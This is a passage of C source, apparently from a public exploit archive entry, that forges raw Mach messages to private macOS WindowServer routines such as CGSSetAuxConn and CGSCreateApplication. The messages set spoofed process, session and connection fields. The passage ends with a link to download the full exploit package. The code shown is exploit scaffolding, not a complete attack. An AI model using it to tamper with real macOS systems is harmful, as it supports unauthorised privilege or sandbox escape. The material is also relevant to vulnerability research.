connection_id, ProcessSerialNumber *process_serial_number) { CGSSetAuxConn_message_t msg; memset(&msg, 0, sizeof(msg)); msg.connection_id = connection_id; msg.process_serial_number = *(uint64_t *)process_serial_number; msg.NDR_record = NDR_record; msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0); msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id); msg.header.msgh_id = 29368; return mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0); } #pragma pack(push, 4) typedef struct { mach_msg_header_t header; NDR_record_t NDR_record; ProcessSerialNumber sn; uint32_t session_id; uint32_t session_attributes; uint32_t unknown_2; uint32_t pid; uint32_t padding_1; uint32_t app_name_len; char app_name[128]; char multi_process; uint32_t connection_id; uint32_t padding_2; } CGSCreateApplication_message_t; typedef struct { mach_msg_header_t header; NDR_record_t NDR_record; kern_return_t retcode; } CGSCreateApplication_reply_t; #pragma pack(pop) static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id) { CGSCreateApplication_message_t msg; memset(&msg, 0, sizeof(msg)); msg.connection_id = connection_id; msg.sn = sn; msg.session_id = session_id; msg.session_attributes = session_attributes; msg.unknown_2 = unknown_2; msg.pid = pid; strncpy(msg.app_name, app_name, sizeof(msg.app_name)); msg.app_name_len = 127; msg.multi_process = multi_process; msg.connection_id = sent_connection_id; msg.NDR_record = NDR_record; msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id); msg.header.msgh_id = 29507; msg.header.msgh_local_port = mig_get_reply_port(); mach_msg_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG|MACH_RCV_MSG, sizeof(msg), sizeof(msg), msg.header.msgh_local_port, 0, 0); if (kr != KERN_SUCCESS) { switch (kr) { case MACH_SEND_INVALID_DATA: case MACH_SEND_INVALID_DEST: case MACH_SEND_INVALID_HEADER: mig_put_reply_port(msg.header.msgh_local_port); break; default: mig_dealloc_reply_port(msg.header.msgh_local_port); } } else kr = ((CGSCreateApplication_reply_t *)&msg)->retcode; return kr; } static void timed_log(char* format, ...) { char buffer[30]; struct tm* time_info; time_t t = time(NULL); time_info = localtime(&t); strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info); fputs(buffer, stderr); va_list args; va_start(args, format); vfprintf(stderr, format, args); va_end(args); } # Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46428.zip |